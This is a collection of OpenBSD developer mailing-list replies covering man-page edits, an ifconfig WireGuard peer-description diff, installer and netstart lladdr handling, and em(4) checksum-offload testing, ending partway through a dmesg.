On 2023/01/18 12:46, Theo de Raadt wrote: > But you should not start a sentence with also. > Also you should not start a sentence with but. > > Not the best english. jmc can weight in perhaps. > > Jan Klemkow wrote: > > .Pp > > Even with sufficient file system permissions, > > these devices can only be opened when the > > -.Xr securelevel 7 > > -is insecure or when the > > .Va kern.allowkmem > > .Xr sysctl 2 > > variable is set. > > +Also the > > +.Xr securelevel 7 > > +insecure is needed, to open the device writable. This is all that's needed isn't it? Even with sufficient file system permissions, these devices can only be opened when the .Xr securelevel 7 -is insecure or when the -is insecure and the .Va kern.allowkmem .Xr sysctl 2 variable is set.
Re: Preferred TERM for pkg_add
Is there any benefit to pkg_add's TERM handling now that it no longers uses the full terminal width? To my eye the visual output looks the same with TERM=dumb (though presumably it will avoid the intermittent problem where somewhere between pkg_add, termcap and urxvt, pkg_add -u output jumps to the top of the terminal window and overwrites its previous output).
Re: ifconfig description for wireguard peers
On 2023/01/12 04:49, Mikolaj Kucharski wrote:
> Hi,
>
> Is there anything else which I can do, to help this diff reviwed and
> increase the chance of getting in?
>
> Thread at https://marc.info/?t=16347829861=1=2
>
> Last version of the diff at
> https://marc.info/?l=openbsd-tech=167185582521873=mbox
Inlining that for a few comments, otherwise it's ok sthen
: Index: sbin/ifconfig/ifconfig.c
: ===
: RCS file: /cvs/src/sbin/ifconfig/ifconfig.c,v
: retrieving revision 1.460
: diff -u -p -u -r1.460 ifconfig.c
: --- sbin/ifconfig/ifconfig.c 18 Dec 2022 18:56:38 - 1.460
: +++ sbin/ifconfig/ifconfig.c 24 Dec 2022 00:49:05 -
: @@ -355,12 +355,14 @@ voidsetwgpeerep(const char *, const cha
: void setwgpeeraip(const char *, int);
: void setwgpeerpsk(const char *, int);
: void setwgpeerpka(const char *, int);
: +void setwgpeerdesc(const char *, int);
: void setwgport(const char *, int);
: void setwgkey(const char *, int);
: void setwgrtable(const char *, int);
:
: void unsetwgpeer(const char *, int);
: void unsetwgpeerpsk(const char *, int);
: +void unsetwgpeerdesc(const char *, int);
: void unsetwgpeerall(const char *, int);
:
: void wg_status(int);
: @@ -623,11 +625,13 @@ const structcmd {
: { "wgaip", NEXTARG,A_WIREGUARD,setwgpeeraip},
: { "wgpsk", NEXTARG,A_WIREGUARD,setwgpeerpsk},
: { "wgpka", NEXTARG,A_WIREGUARD,setwgpeerpka},
: + { "wgdesc", NEXTARG,A_WIREGUARD,setwgpeerdesc},
: { "wgport", NEXTARG,A_WIREGUARD,setwgport},
: { "wgkey", NEXTARG,A_WIREGUARD,setwgkey},
: { "wgrtable", NEXTARG,A_WIREGUARD,setwgrtable},
: { "-wgpeer",NEXTARG,A_WIREGUARD,unsetwgpeer},
: { "-wgpsk", 0, A_WIREGUARD,unsetwgpeerpsk},
: + { "-wgdesc",0, A_WIREGUARD,unsetwgpeerdesc},
: { "-wgpeerall", 0, A_WIREGUARD,unsetwgpeerall},
:
: #else /* SMALL */
: @@ -5856,6 +5860,16 @@ setwgpeerpka(const char *pka, int param)
: }
:
: void
: +setwgpeerdesc(const char *wgdesc, int param)
: +{
: + if (wg_peer == NULL)
: + errx(1, "wgdesc: wgpeer not set");
: + if (strlen(wgdesc))
: + strlcpy(wg_peer->p_description, wgdesc, IFDESCRSIZE);
: + wg_peer->p_flags |= WG_PEER_SET_DESCRIPTION;
: +}
: +
: +void
: setwgport(const char *port, int param)
: {
: const char *errmsg = NULL;
: @@ -5902,6 +5916,15 @@ unsetwgpeerpsk(const char *value, int pa
: }
:
: void
: +unsetwgpeerdesc(const char *value, int param)
: +{
: + if (wg_peer == NULL)
: + errx(1, "wgdesc: wgpeer not set");
: + strlcpy(wg_peer->p_description, "", IFDESCRSIZE);
: + wg_peer->p_flags |= WG_PEER_SET_DESCRIPTION;
I was a bit confused by this at first (wondering if it should use
"&= ~WG_PEER_SET_DESCRIPTION"). I understand it now but I think that
a different name would make it clearer. Maybe WG_PEER_UPDATE_DESCR?
: +}
: +
: +void
: unsetwgpeerall(const char *value, int param)
: {
: ensurewginterface();
: @@ -5961,6 +5984,9 @@ wg_status(int ifaliases)
: b64_ntop(wg_peer->p_public, WG_KEY_LEN,
: key, sizeof(key));
: printf("\twgpeer %s\n", key);
: +
: + if (strlen(wg_peer->p_description))
: + printf("\t\twgdesc %s\n",
wg_peer->p_description);
:
: if (wg_peer->p_flags & WG_PEER_HAS_PSK)
: printf("\t\twgpsk (present)\n");
: Index: share/man/man4/wg.4
: ===
: RCS file: /cvs/src/share/man/man4/wg.4,v
: retrieving revision 1.10
: diff -u -p -u -r1.10 wg.4
: --- share/man/man4/wg.4 14 Mar 2021 10:08:38 - 1.10
: +++ share/man/man4/wg.4 24 Dec 2022 00:49:05 -
: @@ -42,6 +42,19 @@ configuration file for
: .Xr netstart 8 .
: The interface itself can be configured with
: .Xr ifconfig 8 .
: +To display
: +.Cm wgpeer
: +information for each
: +.Nm wg
: +interface option
: +.Fl A
: +to
: +.Xr ifconfig 8
: +should be used or
: +.Nm wg
: +interface should be specified as an argument to
: +.Xr ifconfig 8
: +command.
: .Pp
: .Nm wg
: interfaces support the following
This isn't directly related to the descr diff so should be a separate
commit if done.
This diff displays like so:
-
The interfaces can be created at runtime using the ifconfig wgN create
command or by setting up a hostname.if(5) configuration file for
netstart(8). The interface itself can be configured with ifconfig(8).
To display wgpeer information for each wg interface option -A to
ifconfig(8) should be used or wg interface should be specified as an
argument to ifconfig(8) command.
[...]
-
I find
Re: [patchset] 256 colour console and other enhancements
On 2023/01/09 18:39, Crystal Kolipe wrote: > Another update to the console patchset... i386 ramdisk still fits. ; diff /tmp/old /tmp/new --- /tmp/oldTue Jan 10 03:56:19 2023 +++ /tmp/newTue Jan 10 03:54:13 2023 @@ -4,12 +4,12 @@ text databss dec hex 1083 0 0 108343b obj/wsemul_subr.o 4646 52 284 49821376obj/wsemul_vt100.o 1182 0 0 118249e obj/wsemul_vt100_chars.o -1353 0 0 1353549 obj/wsemul_vt100_keys.o -3795 0 0 3795ed3 obj/wsemul_vt100_subr.o +1522 0 0 15225f2 obj/wsemul_vt100_keys.o +4585 0 0 458511e9obj/wsemul_vt100_subr.o 90 0 0 90 5a obj/wsemulconf.o 6210 0 621 26d obj/wsevent.o -73136849 44241148obj/wsfont.o +82336889 452011a8obj/wsfont.o 7308 72 64 74441d14obj/wskbd.o -6892 0 0 68921aecobj/wskbdmap_mfii.o +6920 0 0 69201b08obj/wskbdmap_mfii.o 1954 804 1 2759ac7 obj/wskbdutil.o 2632 32 8 2672a70 obj/wsmux.o So text from the changed ws*.o files goes from 12771->13850 Overall sizes from the floppy ramdisk kernel for my last few builds - lastbuild is the most recent and includes this - cvs updated between each build: textdatabss dec hex lastbuild:1347175 2041852 405504 3794531 39e663 lastbuild.0:1350823 2041852 405504 3798179 39f4a3 lastbuild.1:1349847 2037756 405504 3793107 39e0d3 lastbuild.2:1346887 2037756 405504 3790147 39d543 lastbuild.3:1347295 2037756 405504 3790555 39d6db lastbuild.4:1353471 2037756 405504 3796731 39eefb lastbuild.5:1350527 2037756 405504 3793787 39e37b lastbuild.6:1346351 2037756 405504 3789611 39d32b
Re: Suggested change to ports.7 man page
I don't think this helps. It's the same for clean, update-patches, install, update-plist, port-lib-depends-check, [...] and we already have "and of course, use the same settings for the subsequent invocations of make" in the section showing how to work with flavours. -- Sent from a phone, apologies for poor formatting. On 4 January 2023 07:28:39 Jason McIntyre wrote: On Mon, Jan 02, 2023 at 07:00:27AM -0500, Jon Fineman wrote: I was trying to make clean a port I was updating and it wasn't clear to me that I should be adding the FLAVOR variable to the make line to clean the correct build. My suggested change below might help other people. Jon anyone? jmc Index: ports.7 === RCS file: /cvs/src/share/man/man7/ports.7,v retrieving revision 1.130 diff -u -p -r1.130 ports.7 --- ports.7 20 Jul 2022 16:37:50 - 1.130 +++ ports.7 2 Jan 2023 11:38:27 - @@ -324,6 +324,9 @@ This does not recurse to dependencies un .Ev CLEANDEPENDS is defined to .Dv Yes . +To clean a build of +.Cm FLAVORS +you need to specify all of the flavors you built with. .It Cm distclean Remove the port's distfile(s). This does not recurse to dependencies.
Re: libcbor v0.10.0
On 2022/12/30 02:06, Theo Buehler wrote: > I understand that it is a libcbor major bump. Why is the libfido2 bump > needed? We can run into a problem with bumps with inter-library dependencies in base. If software from packages uses functions from both libraries, if you _don't_ bump major for libfido2, it will pull in the new fido2 lib (using new cbor abi), and depending on what ld.so decides, one or other version of libcbor, that can't satisfy abi requirements of bith new libfido2 and old binary. It resolves itself when new packages are installed, but that takes time. Now, I don't know if that actually happens with packages using fido2/cbor; could be that they only want libfido2 functions and don't use libcbor functions themselves, in which case there's no problem. It happens very often when X libraries are bumped, but they're used by more packages and there's higher likelihood of functions from both libraries actually being called (or structs being passed around and potentially copied incomplete, etc).
Re: [patch(es)] fix a few typos in /src
On 2022/12/26 11:25, Theo Buehler wrote: > On Mon, Dec 26, 2022 at 07:18:45AM -0300, Crystal Kolipe wrote: > > On Mon, Dec 26, 2022 at 07:34:04AM +, Jason McIntyre wrote: > > > On Thu, Dec 22, 2022 at 10:49:06PM -0500, Paul Tagliamonte wrote: > > > > > > hi. i've committed the parts of this diff relating to libssl. > > > jmc > > > > > > > === > > > > Index: lib/libssl/test/pkits-test.pl > > > > === > > > > This commit contains changes to the code, it is not just a spelling fix: > > > > http://cvsweb.openbsd.org/cgi-bin/cvsweb/src/lib/libssl/test/pkits-test.pl.diff?r1=1.1=1.2=h > > No. This change was already there in 1.1.1.1 Not in 1.1.1.1 but in 1.1.1.2. cvsweb is diffing between 1.1 (equal to 1.1.1.1) and 1.2, not 1.1.1.2 which came a few days later.
Re: [patch(es)] fix a few typos in /src
> +++ usr.bin/ctfconv/parse.c 22 Dec 2022 21:15:27 - > @@ -72,7 +72,7 @@ RB_HEAD(itype_tree, itype) itypet[CTF_K > */ > struct isymb_tree isymbt; > > -struct itype *void_it; /* no type is emited for void */ > +struct itype *void_it; /* no type is emitted for void > */ style(9) issue, this exceeds 80 columns > --- usr.bin/dig/lib/dns/include/dns/name.h14 Sep 2020 08:40:43 - > 1.12 > +++ usr.bin/dig/lib/dns/include/dns/name.h22 Dec 2022 21:15:27 - > @@ -354,7 +354,7 @@ dns_name_equal(const dns_name_t *name1, > * \li Because it only needs to test for equality, dns_name_equal() > can be > * significantly faster than dns_name_fullcompare() or dns_name_compare(). > * > - * \li Offsets tables are not used in the comparision. > + * \li Offsets tables are not used in the comparison. probably "Offset tables are..." A bunch of the files in your diff come from external upstream sources which are still synced from upstream (or at least should be); patching in the OpenBSD tree makes it harder to merge in updates. (including at least curses, the "magic" files for file, nsd, unbound). If problems in those still exist upstream, fixes should be fed there instead of to OpenBSD (and we'll pick them up when next updated). Overall imho this is too much churn to do in huge swathes across the tree. Fixes for spelling/grammar in comments etc are often more usually done by people working on a particular part of the tree or trying to understand how something works, generally you do need someone in that sort of position to review the changes for each area. (Also they will have a better idea whether the diff is going to cause conflicts with other work in progress). I would prefer to have a misspelt comment than one where fixing a spelling has resulted in some incorrect change of meaning that hasn't been noticed because it was done as part of a huge diff..
Re: [patch] add show.c style flag descriptions to route(8)
On 2022/12/22 17:58, Jason McIntyre wrote: > > > flag. > > > Just like for IPsec, using the > > > -.Fl r > > > -flag, > > > -.Xr netstat 1 > > > +.Xr route 8 > > > +.Cm show > > > +command > > > displays information about IPComp flows. > > > > That's a lie. Neither netstat nor route show IPsec flows. This was moved > > to ipsecctl(8). At least I was not able to display the flows with netstat > > or route. > > > > ah. so i tried ipcomp but thought it was maybe just not compiled in. > > so what about the note above it: > > DIAGNOSTICS >netstat(1) can be used to obtain some statistics about >IPComp usage, using the -p flag. > > i can;t get netstat -p to do anything useful. should this whole text go, > or just the -r text? netstat -s -p ipcomp (or just netstat -s and look in the ipcomp section) displays statistics about ipcomp usage, but doesn't list ipcomp flows. unless you have actually configured ipcomp (probably most easily done via iked) you'll just see a bunch of zeroes though. (similarly netstat -s shows some other stats for ipsec, though not flows)
Re: is this rge crash known?
On 2022/12/18 20:53, Geoff Steckel wrote: > OpenBSD 7.2 (GENERIC.MP) #758: Tue Sep 27 11:57:54 MDT 2022 > dera...@amd64.openbsd.org:/usr/src/sys/arch/amd64/compile/GENERIC.MP It's a release kernel so kern.pool_debug is off by default. I don't know rge(4) but in the absence of other ideas I'd try sysctl kern.pool_debug=1 and see if that gives a different trace/panic message.
Re: acme-client: allow configuring key and cert owner
On 2022/12/18 03:06, Lucas wrote: > The following patch expands acme-client config file `domain` blocks to > allow for a `owner user:group` directive, which allows to get rid of > customs scripts that "fix" permissions for issued certs, mostly needed > in ports land. I don't find it too invasive, so I thought it could be > merged. Most of the code and manpage bits were taken from vmd. Why do you need to chown a certificate? It is published to the world anyway in Certificate Transparency logs, what's the problem with root-owned and world-readable? (There would be more reason to do this for a key, but the existing handling seems good enough for that).
Re: hostname.if(5): lladdr tweaks
On 2022/12/15 09:47, Theo de Raadt wrote: > Other than that, I still think MAC is the identifier we should give priority > to. > So I would like for this to be flipped, and then I think we can consider this > work done. Do we want to give users a clue that this works (for hostname.vlanX or aggr/pppoe/etc)? vnetid 8 parent `ifconfig -M 0e:ba:5f:f6:13:7a`
Re: hostname.if(5): lladdr tweaks
On 2022/12/15 05:19, Klemens Nanni wrote: > Yes, I agree with Theo here that lladdr is more specific and should win > present. That depends on the hardware ;)
Re: games: add dots and boxes game
On 2022/12/13 14:27, Stuart Henderson wrote: > On 2022/12/13 14:13, Janne Johansson wrote: > > Den tis 13 dec. 2022 kl 14:11 skrev Alireza Arzehgar > > : > > > I implemented an interesting game. I thought this game is cool and could > > > be > > > fun > > > for OpenBSD users. I don't know what game will accept on OpenBSD. But I > > > hope > > > this patch is interesting. > > > > Send it as a port instead. > > yep, I don't think we're very likely to add any more to src/games. > > > +sprintf(text, "\033[%dm%s\033[0m", 30 + id, msg); > > and even if we did, base doesn't assume that every console handles > ANSI X3.64 colour sequences. there are some style(9) issues too. > > ports would be the right place to add this. > (...though it would be better if it didn't assume ANSI there, too...)
Re: games: add dots and boxes game
On 2022/12/13 14:13, Janne Johansson wrote: > Den tis 13 dec. 2022 kl 14:11 skrev Alireza Arzehgar > : > > I implemented an interesting game. I thought this game is cool and could be > > fun > > for OpenBSD users. I don't know what game will accept on OpenBSD. But I hope > > this patch is interesting. > > Send it as a port instead. yep, I don't think we're very likely to add any more to src/games. > +sprintf(text, "\033[%dm%s\033[0m", 30 + id, msg); and even if we did, base doesn't assume that every console handles ANSI X3.64 colour sequences. there are some style(9) issues too. ports would be the right place to add this.
Re: Configure interface by lladdr during install
On 2022/12/06 19:57, Andrew Hewus Fresh wrote: > Which interface do you wish to configure? (name, lladdr, '?', or 'done') > [vio0] ? > Available network interfaces are: vio0 vlan0. > vio0: lladdr fe:e1:bb:d1:dd:97 > Which interface do you wish to configure? (name, lladdr, '?', or 'done') > [vio0] fe:e1:bb:d1:dd:97 > IPv4 address for vio0? (or 'autoconf' or 'none') [autoconf] > IPv6 address for vio0? (or 'autoconf' or 'none') [none] > Available network interfaces are: vio0 vlan0. It doesn't seem right to offer vio0 in the list if it was already configured via lladdr? (Brushing aside the issue that fe:e1:b[ab]:dX:XX:XX addresses are usually random so the hostname.lladdr scheme won't work for them anyway..)
Re: OpenSSH and -current out-of-tree patched for ~C?
On 2022/11/30 08:53, Andy Bradford wrote: > Thus said "Theo de Raadt" on Wed, 23 Nov 2022 18:56:21 -0700: > > > A new "enablecommandline" configuration option re-enables those > > particular features, and the diff later on will show why we feel these > > features should be optional. > > Glad that the option is being retained as optional but I also look > forward to seeing the rationale for this change. I for one use the ~C, > not daily, but often enough that I would have noticed over a longer > period of time because I don't run -current. It allows a much tighter pledge in the client, so less attack surface against a bad server. > In my particular scenario, I often open up long running SSH sessions > that have tunnels to other TCP/IP sessions (some of them interactive), > and the ability to add tunnels dynamically means that I don't have to > restart a bunch of interactive sessions or interrupt other long-running > things over the tunnels. If I decide that the tunnel is something I want > to use long-term, I'll add it to ~/.ssh/config for future use. Alternatively you can use connection multiplexing (which didn't support ~C anyway) and run a separate ssh -L / -R, which will establish an extra channel using the existing connection.
Re: lladdr support for netstart/hostname.if
On 2022/11/24 14:36, Vitaliy Makkoveev wrote: > On Wed, Nov 23, 2022 at 09:36:28PM -0700, Theo de Raadt wrote: > > Theo de Raadt wrote: > > > > > > The other, that if both exist, > > > > /etc/hostname.$if will override /etc/hostname.$lladdr. > > > > > > We do need to decide which one is priority, and document that. > > > > > > I am still unsure which is better. (I've seen a lot of spurious comments > > > from folk, so please think about realistic cases, and don't make stuff > > > up..) > > > > And by that I mean: Actually try andrews's diff. It does it one way (.if > > is more important). Maybe it needs to be the other way. > > > > Could we check the simultaneous existence of both hostname.if and > hostname.lladdr corresponding to one interface and print error message > if so? > > I'm also interesting how the following case will be handled. We have > /etc/hostname.vlan0 and /etc/hostname.08002233ccbb, network devices > configured as: I don't see how this scheme can work with vlans (or any interface which changes its MAC address, whether that's automatically - vlan, trunk - randomly - vether, etc - or explicitly with lladdr). Another thing with vlans is that, they have a 00:00:00:00:00:00 MAC address until they're configured, but if you then later re-run netstart, they then *will* have a MAC address (matching a physical interface), so netstart's behaviour will be different between running at boot, and running later. That's not really a problem as such, it just limits the scope of where this functionality could be used. (It wouldn't really help vlans anyway - the thing which needs changing for those is picking which parent interface to use, not picking a different hostname file for the vlan interface).
Re: lladdr support for netstart/hostname.if
Need to query (and set $if, which might be used in route commands etc) I think. -- Sent from a phone, apologies for poor formatting. On 22 November 2022 08:37:05 Florian Obser wrote: On 2022-11-22 18:06 +10, David Gwynne wrote: There are a few things to keep in mind if we're going to use lladdrs like this. vlan interfaces start with their lladdr as 00:00:00:00:00:00 and then assume the lladdr of the parent interface when that is configured. Clonable devices (eg, egre, vport, aggr, etc) tend to generate random lladdrs when they're created. If you want a consistent lladdr for these you configure that in /etc/hostname.vportX or whatever you're using. ifconfig(8) already knows about these (see -C option). Which made me think, it might be easier to just ask ifconfig(8). $ ifconfig -Q 00:80:41:7b:f3:c3 vio0 Would that be helpful? Or would you need # ifconfig 00:80:41:7b:f3:c3 inet 192.0.2.2/24 to work? I think you want to query,no? "Platform deficient" systems like arm SBCs don't always do a good job of providing lladdrs for their ethernet interfaces. I'm working on one now that has rge(4) and it comes up with an lladdr of 00:00:00:00:00:00. I have another one where the drivers fall back to randomly generating an lladdr if none is set by u-boot/edk/etc. I don't think any of these are showstoppers, but do need to be considered. -- I'm not entirely sure you are real.
Re: xenodm: save ~/.xesssion to ~/.xsession.old
On 2022/11/14 16:50, Klemens Nanni wrote: > X segfaulted when I opened a window, Xorg.log.old only showed the > address without anything specific, no core dump was created and > xenodm automatically restarted. > > After I logged in I checked ~/.xsession for possible indications, but > that file gets truncated on login. > > I've restarted xenodm again, so the old Xorg.log.old containing the > generic "X segfaulted at addr 0x86..." is also gone. > > Woul it make sense to save an old copy in analogy to Xorg.log.old > so crashes like this have a higher chance of being hunted down? > > I haven't extensively tested this patch, but relogging into X now leaves > ~/.xesssion-errors.old with logs from the previous session behind. > > Index: app/xenodm//config/Xsession.in > === > RCS file: /cvs/xenocara/app/xenodm/config/Xsession.in,v > retrieving revision 1.2 > diff -u -p -r1.2 Xsession.in > --- app/xenodm//config/Xsession.in1 Jul 2022 20:42:06 - 1.2 > +++ app/xenodm//config/Xsession.in14 Nov 2022 16:47:03 - > @@ -7,6 +7,7 @@ exec_prefix="@exec_prefix@" > # redirect errors to a file in user's home directory if we can > > errfile="$HOME/.xsession-errors" > +cp -f "$errfile" "$errfile.old" 2> /dev/null Those files can get pretty big. mv is probably a better idea than cp. > if ( umask 077 && cp /dev/null "$errfile" 2> /dev/null ) > then > exec > "$errfile" 2>&1 >
Re: mount_ntfs.8: Fix swapped -g user and -u group
ha, good catch. committed, thanks.
route(8) example for "out of prefix" default gateway
Seems some hosting providers have annoying "out of prefix" default gateways whuch are painful to configure (https://marc.info/?t=16678224225=1=2), should we give a pointer in route(8)? Index: route.8 === RCS file: /cvs/src/sbin/route/route.8,v retrieving revision 1.104 diff -u -p -r1.104 route.8 --- route.8 29 Jul 2022 18:28:32 - 1.104 +++ route.8 9 Nov 2022 07:29:59 - @@ -596,6 +596,14 @@ Delete the route to the 192.168.5.0/24 network: .Pp .Dl # route delete -inet 192.168.5.0/24 +.Pp +Add a static +.Xr inet6 4 +route to a host which is on the vio0 interface that is outside the prefix +configured on the interface, and use that host as a default gateway: +.Pp +.Dl # route add -inet6 2001:db8:efef::1 -cloning -link -iface vio0 +.Dl # route add -inet6 default 2001:db8:efef::1 .Sh DIAGNOSTICS .Bl -diag .It "%s: gateway %s flags %x"
Re: rc(8): reorder_libs(): print names of relinked libraries
On 2022/11/07 23:54, Theo de Raadt wrote: > Klemens Nanni wrote: > > > > I know this makes rc(8) a bit noisier but it really does improve my > > > (for want of a better term) "user experience" as I wait for my machine > > > to boot. > > > > I like this and it doesn't add more **lines** to the boot log, but maybe > > print library names without versions to reduces noise? > > Only if it is the short names. No need for the .so really either. ld.so libc libcrypto is enough. > But I am not sure people need to see this detail. It just takes a bit > of time. How does knowing what steps are being taken help... Sometimes it's a bit of time, sometimes it's a _lot_ of time until people get a new computer or raid battery or something and it's less annoying if you can see _some_ progress.
Re: Questions about the code review process in OpenBSD
On 2022/11/04 23:32, i...@tutanota.com wrote: > I am trying to understand how the code review process is conducted in > OpenBSD. I can see all the OK's in the commit log, but not every commit > has the OK. > > On FreeBSD there where a serious problem with a developer who was hired > to by Netgear to create a WireGuard VPN implementation as a kernel-mode Note: netgate, not netgear. > solution and this was then contributed to FreeBSD. It was removed in > the last minute. > > https://arstechnica.com/gadgets/2021/03/buffer-overruns-license-violations-and-bad-code-freebsd-13s-close-call/
Re: ssh-keygen(1): by default generate ed25519 key (instead of rsa)
On 2022/11/07 12:02, Solène Rapenne wrote: > Le Sun, 6 Nov 2022 18:41:50 +0400, > Loganaden Velvindron a écrit : > > > On Sun, 6 Nov 2022 at 18:31, Job Snijders wrote: > > > > > > Dear all, > > > > > > Support for using Ed25519 for server and user authentication was > > > introduced in 2014. I like the compactness of Ed25519 public keys. > > > > > > Perhaps now is a good time to make Ed25519 the default key type when > > > invoking ssh-keygen(1) without arguments? > > > > > > > I agree, but I think we lack data on deployed ssh systems at large. > > > > > Kind regards, > > > > > > Job > > FWIW, Azure doesn't support ed25519 yet > > https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/ed25519-ssh-keys > This doesn't cause a problem, you can simply generate an RSA key if you would like to use a key to connect to a system that does not yet support ed25519 keys. Using ed25519 by default is also a gentle nudge to vendors (maybe it will become easier for them to add support than explain to users how to generate an rsa key).
Re: 7.2 miniroot pointed to /pub/OpenBSD/snapshots for sets
On 2022/10/20 09:44, Heppler, J. Scott wrote: > I was testing the full setup for a lightweight desktop I posted on > https://daemonforums.org/showpost.php?p=67677=1 > > My downloaded miniroot: > -rw-r--r--1 jsh jsh 5832704 Oct 20 08:51 miniroot72.img > > The system had previously been running snapshot, but I had selected > Install(I) and whole disk GPT(G). The whole disk should have been > newly formatted. /etc/installurl came up as my nearest mirror: > mirrors.sonic.net which I had previously used for the snapshot install. > > If it's working - sorry for the noise. For an install (rather than an upgrade) it's not based on what you've installed on the individual machine before; when install is done the source URL is sent to ftpinstall.cgi which offers it back via ftplist.cgi for further installs from the same IP address. The mechanism for saving the full directory or not is in install.sub around line 1850.
Re: 7.2 miniroot pointed to /pub/OpenBSD/snapshots for sets
On 2022/10/20 09:05, Heppler, J. Scott wrote: > Using the miniroot img from https://cdn.openbsd.org/pub/OpenBSD/7.2, the > set retrival still points to snapshots. You (or someone else using the same IP) must have done an install from a full URL previously rather than picking a mirror from the list. Check 'ftp -Vo- https://ftplist1.openbsd.org/cgi-bin/ftplist.cgi | head'
Re: em(4) IPv4, TCP, UDP checksum offloading
On 2022/10/11 15:03, Moritz Buhl wrote: > Here is a new diff for checksum offloading (ipv4, udp, tcp) for em(4). > > The previous diff didn't implement hardware vlan tagging for >em82578 > which should result in variable ethernet header lengths and thus > wrong checksums inserted at wrong places. > > The diff below addresses this. > I would appreciate further testing reports with different controllers. > > mbuhl I tried this on my laptop which has I219-V em (I run it in a trunk with iwm). It breaks tx (packets don't show up on the other side). rx seems ok. There is also a "em0: watchdog: head 111 tail 20 TDH 20 TDT 111" but that was after ~10 mins uptime so may have occurred after I switched the active port on the trunk(4) over to the iwm, or back again. OpenBSD 7.2-current (GENERIC.MP) #64: Tue Oct 11 14:30:52 BST 2022 st...@bamboo.spacehopper.org:/sys/arch/amd64/compile/GENERIC.MP real mem = 16926281728 (16142MB) avail mem = 16395878400 (15636MB) random: good seed from bootblocks mpath0 at root scsibus0 at mpath0: 256 targets mainbus0 at root bios0 at mainbus0: SMBIOS rev. 3.1 @ 0x77d49000 (64 entries) bios0: vendor LENOVO version "N2HET63W (1.46 )" date 06/01/2021 bios0: LENOVO 20QF00B2UK acpi0 at bios0: ACPI 6.1 acpi0: sleep states S0 S3 S4 S5 acpi0: tables DSDT FACP SSDT SSDT SSDT SSDT SSDT TPM2 UEFI SSDT HPET APIC MCFG ECDT SSDT SSDT SSDT BOOT SLIC SSDT LPIT WSMT SSDT DBGP DBG2 MSDM BATB NHLT FPDT UEFI acpi0: wakeup devices GLAN(S4) XHC_(S3) XDCI(S4) HDAS(S4) RP01(S4) PXSX(S4) RP02(S4) PXSX(S4) PXSX(S4) RP04(S4) PXSX(S4) RP05(S4) PXSX(S4) RP06(S4) PXSX(S4) RP07(S4) [...] acpitimer0 at acpi0: 3579545 Hz, 24 bits acpihpet0 at acpi0: 2399 Hz acpimadt0 at acpi0 addr 0xfee0: PC-AT compat cpu0 at mainbus0: apid 0 (boot processor) cpu0: Intel(R) Core(TM) i7-8565U CPU @ 1.80GHz, 1795.82 MHz, 06-8e-0c cpu0: FPU,VME,DE,PSE,TSC,MSR,PAE,MCE,CX8,APIC,SEP,MTRR,PGE,MCA,CMOV,PAT,PSE36,CFLUSH,DS,ACPI,MMX,FXSR,SSE,SSE2,SS,HTT,TM,PBE,SSE3,PCLMUL,DTES64,MWAIT,DS-CPL,VMX,EST,TM2,SSSE3,SDBG,FMA3,CX16,xTPR,PDCM,PCID,SSE4.1,SSE4.2,x2APIC,MOVBE,POPCNT,DEADLINE,AES,XSAVE,AVX,F16C,RDRAND,NXE,PAGE1GB,RDTSCP,LONG,LAHF,ABM,3DNOWP,PERF,ITSC,FSGSBASE,TSC_ADJUST,SGX,BMI1,AVX2,SMEP,BMI2,ERMS,INVPCID,MPX,RDSEED,ADX,SMAP,CLFLUSHOPT,PT,SRBDS_CTRL,MD_CLEAR,IBRS,IBPB,STIBP,L1DF,SSBD,SENSOR,ARAT,XSAVEOPT,XSAVEC,XGETBV1,XSAVES cpu0: 32KB 64b/line 8-way D-cache, 32KB 64b/line 8-way I-cache, 256KB 64b/line 4-way L2 cache, 8MB 64b/line 16-way L3 cache cpu0: smt 0, core 0, package 0 mtrr: Pentium Pro MTRR support, 10 var ranges, 88 fixed ranges cpu0: apic clock running at 24MHz cpu0: mwait min=64, max=64, C-substates=0.2.1.2.4.1.1.1, IBE cpu1 at mainbus0: apid 2 (application processor) cpu1: Intel(R) Core(TM) i7-8565U CPU @ 1.80GHz, 1795.82 MHz, 06-8e-0c cpu1: FPU,VME,DE,PSE,TSC,MSR,PAE,MCE,CX8,APIC,SEP,MTRR,PGE,MCA,CMOV,PAT,PSE36,CFLUSH,DS,ACPI,MMX,FXSR,SSE,SSE2,SS,HTT,TM,PBE,SSE3,PCLMUL,DTES64,MWAIT,DS-CPL,VMX,EST,TM2,SSSE3,SDBG,FMA3,CX16,xTPR,PDCM,PCID,SSE4.1,SSE4.2,x2APIC,MOVBE,POPCNT,DEADLINE,AES,XSAVE,AVX,F16C,RDRAND,NXE,PAGE1GB,RDTSCP,LONG,LAHF,ABM,3DNOWP,PERF,ITSC,FSGSBASE,TSC_ADJUST,SGX,BMI1,AVX2,SMEP,BMI2,ERMS,INVPCID,MPX,RDSEED,ADX,SMAP,CLFLUSHOPT,PT,SRBDS_CTRL,MD_CLEAR,IBRS,IBPB,STIBP,L1DF,SSBD,SENSOR,ARAT,XSAVEOPT,XSAVEC,XGETBV1,XSAVES cpu1: 32KB 64b/line 8-way D-cache, 32KB 64b/line 8-way I-cache, 256KB 64b/line 4-way L2 cache, 8MB 64b/line 16-way L3 cache cpu1: smt 0, core 1, package 0 cpu2 at mainbus0: apid 4 (application processor) cpu2: Intel(R) Core(TM) i7-8565U CPU @ 1.80GHz, 1795.82 MHz, 06-8e-0c cpu2: FPU,VME,DE,PSE,TSC,MSR,PAE,MCE,CX8,APIC,SEP,MTRR,PGE,MCA,CMOV,PAT,PSE36,CFLUSH,DS,ACPI,MMX,FXSR,SSE,SSE2,SS,HTT,TM,PBE,SSE3,PCLMUL,DTES64,MWAIT,DS-CPL,VMX,EST,TM2,SSSE3,SDBG,FMA3,CX16,xTPR,PDCM,PCID,SSE4.1,SSE4.2,x2APIC,MOVBE,POPCNT,DEADLINE,AES,XSAVE,AVX,F16C,RDRAND,NXE,PAGE1GB,RDTSCP,LONG,LAHF,ABM,3DNOWP,PERF,ITSC,FSGSBASE,TSC_ADJUST,SGX,BMI1,AVX2,SMEP,BMI2,ERMS,INVPCID,MPX,RDSEED,ADX,SMAP,CLFLUSHOPT,PT,SRBDS_CTRL,MD_CLEAR,IBRS,IBPB,STIBP,L1DF,SSBD,SENSOR,ARAT,XSAVEOPT,XSAVEC,XGETBV1,XSAVES cpu2: 32KB 64b/line 8-way D-cache, 32KB 64b/line 8-way I-cache, 256KB 64b/line 4-way L2 cache, 8MB 64b/line 16-way L3 cache cpu2: smt 0, core 2, package 0 cpu3 at mainbus0: apid 6 (application processor) cpu3: Intel(R) Core(TM) i7-8565U CPU @ 1.80GHz, 